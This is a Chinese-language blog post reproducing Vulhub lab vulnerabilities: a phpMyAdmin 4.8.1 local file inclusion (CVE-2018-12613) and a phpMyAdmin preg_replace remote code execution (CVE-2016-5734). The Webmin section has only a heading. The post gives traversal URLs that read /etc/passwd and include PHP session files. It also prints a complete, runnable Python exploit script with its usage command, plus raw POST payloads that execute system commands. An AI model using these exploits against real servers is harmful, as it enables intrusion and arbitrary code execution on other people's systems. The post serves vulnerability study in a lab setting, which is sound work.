目录
  1. 1. phpmyadmin
    1. 1.1. phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
      1. 1.1.1. 漏洞复现
      2. 1.1.2. 漏洞分析
    2. 1.2. phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)
      1. 1.2.1. 受影响版本
      2. 1.2.2. 漏洞复现
      3. 1.2.3. 漏洞分析
  2. 2. Webmin远程命令执行 (CVE-2019-15107)
Vulhub 漏洞复现与分析

phpmyadmin

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

漏洞复现

  • 搭建环境:vulhub

漏洞路径:/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

这里演示一下读取 /etc/passwd 文件

或者可以包含 session 文件

首先在 SQL 查询处执行 SELECT '<?=phpinfo()?>';

然后在 cookie 里复制自己的 sessionid

访问 session 存放路径 /tmp/sess_你的sessionid

这里访问:http://xxx.com/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_a23f4cdd98874767ea200097db94d9b8

漏洞分析

学习资料:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog

文件: phpMyAdmin-4.8.1-all-languages.zip

漏洞核心:/index.php 具有 include $_REQUEST['target']; ——》LFI

限制如下:

$target_blacklist = array (
'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
```

1. `target `不为空
2. `target `是一个字符串
3. `target `开头不能为 `index`
4. `target `不在黑名单内,只要不是 import.php 或 export.php 就行
5. `target `要经过 `Core` 类的 `checkPageValidity` 方法

跟进 `Core` 类的 `checkPageValidity` 方法

```php
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
...
);

public static function checkPageValidity(&$page, array $whitelist = [])
{
// 判断 $whitelist 是否为空,如果为空则取默认的一组
if (empty($whitelist)) { // 当从 index.php 传进来时会进入这里
$whitelist = self::$goto_whitelist;
}

if (! isset($page) || !is_string($page)) {
return false;
}

// 判断 $page 是否在白名单
if (in_array($page, $whitelist)) {
return true;
}

// 分割 $page 的参数,取 ? 前的文件名,判断是否在白名单内
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

// url 解码后执行和上一步相同的操作
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

Bypass核心思路: urldecode(),利用二次编码绕过

phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)

受影响版本

4.0.10.16之前4.0.x版本
4.4.15.7之前4.4.x版本
4.6.3之前4.6.x版本

漏洞复现

  • 限制:
    1. 知道phpMyAdmin的路径,并且可以使用账号密码登录成功。
    2. 知道对应db的table,或者在db中有创建table的权限

poc: EXPLOIT DATABASE

#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"

size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)

# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)

if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)

利用

python exp.py -c 'system(ls);' -u root -p root -d test http://localhost:8967/

漏洞分析

PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。

漏洞核心代码

<?php
$raw = $_POST['raw'];
$replace = $_POST['replace'];
$text = $_POST['text'];

$text = preg_replace('/'.$raw.'/e', $replace, $text);
?>

php版本小于5.4.7时,00截断的妙用
向pattern中注入空字符产生截断,并传入e修饰符,使得我们可控的replacement代码执行

<?php
$raw = $_POST['raw'];
$replace = $_POST['replace'];
$text = $_POST['text'];

$text = preg_replace('/'.$raw.'/i', $replace, $text);
?>

POST 参数

raw = test/e%00
&replace = system('ls')
&text = test

Webmin远程命令执行 (CVE-2019-15107)

文章作者: P2hm1n
文章链接: http://yoursite.com/2019/09/21/Vulhub-漏洞复现/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 P2hm1n‘s Blog

评论